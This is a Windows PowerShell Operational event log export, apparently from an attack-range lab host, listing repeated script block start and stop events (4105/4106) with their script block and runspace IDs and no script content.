OpCode=On create calls
RecordNumber=2037692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037685
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037683
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037682
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037665
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037660
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037659
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
